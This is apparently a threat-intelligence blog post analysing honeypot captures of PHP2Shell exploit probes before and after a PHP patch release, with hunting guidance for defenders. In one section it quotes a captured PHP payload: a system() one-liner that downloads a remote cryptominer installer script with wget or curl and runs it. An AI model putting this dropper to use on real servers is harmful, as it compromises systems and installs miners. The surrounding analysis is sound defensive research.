PHP2Shell probes reached decoys hours before the security release

Huntback telemetry puts PHP2Shell on the clock: probes hours before the patch, then working payloads that install a RedTail-style cryptominer about 30 hours after it.

Two requests reached Huntback decoys at 08:41 and 08:44 UTC on 21 October 2026, more than five hours before the scheduled PHP security release. Both identified themselves as php2shell-scan/109618. They were multipart POSTs to /index.php, carried a PHP_SESSION_UPLOAD_PROGRESS field, and were roughly 63 KB long. The source was 85.11.167.243.

This is evidence of pre-release probing, not evidence of remote code execution. The requests landed on decoys, and the captured records show no second-stage interaction. We cannot infer that the source exploited a real PHP installation, or that its payload would have worked against one.

The source address already appears in public PHP2Shell reporting as a scanner. What Huntback's decoys add is when that scanning started: before the fix was released. They also caught what came next. By the evening of 22 October, a different source was sending PHP2Shell requests that carried a working PHP payload: a one-line dropper that fetches and runs a RedTail-style cryptomining installer. Neither that source nor its dropper host appears in the public PHP2Shell reporting we reviewed.

Why the timing matters

On 20 October, the PHP security team announced that fixes for two critical vulnerabilities were scheduled for 21 October at 14:00 UTC. The team warned that the release could be brought forward if technical details leaked or exploitation appeared. The vulnerabilities became known as PHP2Shell, tracked as CVE-2026-109618 and CVE-2026-109619. PHP subsequently published fixes in versions 8.2.35, 8.3.36, 8.4.27 and 8.5.12. PHP's advance notice and release announcement document that sequence.

The first Huntback request arrived 5 hours, 18 minutes and 51 seconds before the scheduled release time. It does not establish when PHP first became exploitable or when scanning began across the wider internet. It establishes a narrower, verifiable fact: this source was sending PHP2Shell-labelled, structurally relevant requests to two Huntback decoys while the coordinated release was still pending.

The release row is the scheduled time from PHP's notice, not a claim that every fixed package became available at precisely 14:00. PHP's release announcements were posted around that window.

The two pre-release requests

Both 21 October requests came from 85.11.167.243 and used HTTP POST with multipart/form-data. Their user-agent was php2shell-scan/109618, the path was /index.php, and each body contained a PHP_SESSION_UPLOAD_PROGRESS field followed by a file part and a large filler section. The request bodies were 62,935 bytes each. They had different body hashes, so we do not describe them as byte-for-byte identical.

The body structure matters more than the user-agent alone. Anyone can set a user-agent string. A multipart request carrying PHP_SESSION_UPLOAD_PROGRESS, a PHP session cookie and a large file part is a much stronger indication that the sender was testing a PHP2Shell-related upload-progress path. It still does not prove that the request reached a vulnerable PHP interpreter on any real target, triggered the underlying memory fault, or achieved code execution.

The 200 and 301 values above are decoy responses. They are not exploit-success signals. Neither record shows a captured second stage. The decoys' product labels describe how they present to scanners; they do not mean that a GitLab or proxy product was vulnerable to PHP2Shell.

The same source kept probing after the release

Huntback recorded 15 additional POSTs from 85.11.167.243 between 12:51:20 and 14:25:33 UTC on 22 October with user-agent php2shell-109618. Seven targeted /index.php; eight targeted /lib/phpunit/phpunit/Util/PHP/eval-stdin.php. Each body was 62,929 bytes, contained PHP_SESSION_UPLOAD_PROGRESS, and had the same SHA-256 hash:

dba19c819123ccdad214dde73dc66f848f2cdebdc653e6e5876624b86ddc3074

The repeated hash supports reuse of one request body across the 15 captured events. The paths and decoy types varied. Thirteen responses were 301 and two were 200; none of these records had a captured second stage. Across both days, this one source sent 40 upload-progress POSTs to 10 different decoys: 23 to /wp-login.php, 9 to /index.php and 8 to the PHPUnit path.

The PHPUnit path is worth interpreting carefully. It is commonly associated with a separate, older vulnerability, but a path name does not determine which exploit a body is attempting. In these records, the PHP2Shell-labelled user-agent and upload-progress field point to the PHP2Shell campaign's request pattern. We did not observe successful use of either PHP2Shell or the older PHPUnit flaw.

Three sources, three behaviours

Searching every captured request for the PHP_SESSION_UPLOAD_PROGRESS field, rather than for a user-agent, finds 110 multipart POSTs from three sources. Each one behaves differently.

A minimal check: 217.60.242.76

Six and a half hours after the release, 217.60.242.76 sent three 388-byte multipart POSTs to / on three decoys. Each carried an upload-progress field set to a random token and an empty file part named x.txt. This is the shape of a vulnerability check: send a unique marker, then look for it in the response. It carried nothing that would run.

Probes became payloads: 77.90.185.20

At 20:30 UTC on 22 October, about 30 hours after the release, 77.90.185.20 began sending POSTs to /index.php. Over the next ten and a half hours it reached nine decoys with 67 requests. Every one placed the same PHP code inside the upload-progress field, followed by filler that varied in size (around 19 to 22 KB):

<?php echo '__START__'; system('(wget --no-check-certificate -qO- hxxps://217.60.102[.]5/sh
  || curl -sk hxxps://217.60.102[.]5/sh) | sh -s php2shell'); echo '__END__';?>

If a vulnerable server executed that code, it would download a shell script from 217.60.102.5 and run it with the argument php2shell, a label that tells the operator which exploit delivered the infection. The __START__ and __END__ markers let the sender confirm execution from the response. Our decoys do not execute PHP, so nothing ran.

What the dropper installs

Huntback's scanner fleet had already harvested that script from 217.60.102.5. It is a cryptomining installer that matches the publicly documented RedTail family:

• it downloads and runs a clean script, then deletes any previous .redtail file;
• it looks for a writable directory that allows execution, testing /tmp, /var/tmp and /dev/shm last;
• it fetches a binary for the host's architecture (x86_64, i686, aarch64, arm7 or riscv), saves it under a random hidden name, and runs it with the exploit label; and
• if all else fails when naming the file, it falls back to the literal name redtail.

The script on that host has the same SHA-256 as the copy Huntback first harvested on 3 October, nearly three weeks before the PHP release. PHP2Shell did not create this operation. It was added to an existing RedTail distribution point as one more way in. We did not retrieve the architecture-specific binaries, so we describe the miner by its installer rather than by its payload.

User-agents rotate; request bodies do not

The three sources show why a user-agent is a poor anchor for this hunt.

• 85.11.167.243 cycled through four identities: php2shell-scan/109618 on 21 October, then no user-agent at all, then php2shell, then php2shell-109618, all within one afternoon on 22 October.
• 217.60.242.76 sent a bare Mozilla/5.0.
• 77.90.185.20, the only source carrying a working payload, presented a current desktop Chrome user-agent on 60 requests and none on the other seven.

A hunt keyed on php2shell in the user-agent would have found the noisiest source and missed the dangerous one entirely. The request body is what stayed constant: all 110 requests carried the PHP_SESSION_UPLOAD_PROGRESS field in a multipart POST. Huntback keeps the full request body for every decoy hit, which is what made that search possible.

What the harvested files add

Huntback's searches of harvested open-directory files found PHP2Shell-labelled files on hosts already publicly associated with the campaign, including 41.223.30.7, 54.169.109.7 and 58.221.60.160. We did not identify a defensible new PHP2Shell staging host from those searches.

Huntback did return other files containing terms such as upload_progress, but keyword overlap was insufficient to assign them to this campaign. One was associated with a different exploit; another was a configuration fragment without corroborating PHP2Shell context. We excluded both. That distinction matters: a broad search term can produce a larger result set without producing a new finding.

Our contribution is therefore twofold. It is temporal: direct request-level evidence of pre-release probing from an already reported IP. And it is new: two further sources, one of them delivering a RedTail-style installer from a dropper host that had been staged since at least 3 October.

What the evidence shows

The evidence supports these conclusions:

1. 85.11.167.243 sent two PHP2Shell-labelled multipart requests to Huntback decoys before the scheduled patch release.
2. The same source sent at least 15 more matching requests to Huntback decoys on 22 October, and 40 across both days.
3. By 22 October 20:30 UTC, about 30 hours after the release, 77.90.185.20 was sending PHP2Shell requests carrying a working dropper for a RedTail-style cryptomining installer hosted on 217.60.102.5.

The official PHP advisories describe serious remote-code-execution vulnerabilities and stress that updating is the complete mitigation. The absence of a confirmed compromise in this decoy dataset does not reduce the need to patch. It only keeps our observation in the correct category: weaponized attempts seen, outcomes on real servers unproven.

What defenders can do with this finding

• Look back before the patch window. Start at least on 20 October, and include the morning of 21 October. A hunt beginning after the release would miss our first two events.
• Hunt on the request body, not the user-agent. Look for multipart POSTs with a PHP_SESSION_UPLOAD_PROGRESS field, especially one containing <?php, system(, wget or curl. The source that carried a working payload looked like an ordinary Chrome browser.
• Hunt for the RedTail installer. Look for outbound requests to 217.60.102.5, the command line sh -s php2shell, a downloaded clean script, a file named .redtail, and new hidden executables in /tmp, /var/tmp or /dev/shm run by the web-server user.
• Separate targeting from compromise. A request to /index.php, /wp-login.php or a PHPUnit path shows what the sender tried. Verify PHP errors, worker exits, process creation, unexpected files and outbound traffic before escalating the finding to successful exploitation.
• Update PHP or obtain a vendor-confirmed backport. The fixed upstream versions are 8.2.35, 8.3.36, 8.4.27 and 8.5.12. PHP's CVE-2026-109618 advisory says a patched release is the only complete mitigation for that issue; temporary controls reduce exposure but do not replace the fix.

Indicators and search leads

Do not block a broad range or infer an actor from the one IP in this table without checking current ownership and your own telemetry. The value of this case is the request pattern and timing.

Method and sources

We queried Huntback's captured-event records by PHP2Shell-related user-agents and by source IP, then inspected the recorded HTTP method, path, user-agent, content type, body marker, length, timestamp, response and second-stage flag. We separately searched harvested-file metadata for PHP2Shell terms and compared returned hosts with publicly reported PHP2Shell infrastructure. Event timestamps are UTC. Counts in this post are counts of the specific query results and reviewed records, not estimates of internet-wide volume.

The two pre-release events can be rechecked in Huntback by event ID 5ecdfb229e9849d79ea8c5daf9c9e9c3 and 0ca2a1bb2cb44caf8e1b1e25ed4600d8. Their body SHA-256 values are bcd9d574e9dc352275f1934e0f109a03ea0630c57f78c5b3a0399be038319dd6 and c8f953685c951f20a3f7f5e4506a46cb926c267fee4ae5b4e87d7ebf3dbdcfaa, respectively. These hashes are audit references; they should not be treated as comprehensive network detection signatures.

Sources

• PHP: advance notice and security release
• PHP advisory: CVE-2026-109618
• PHP advisory: CVE-2026-109619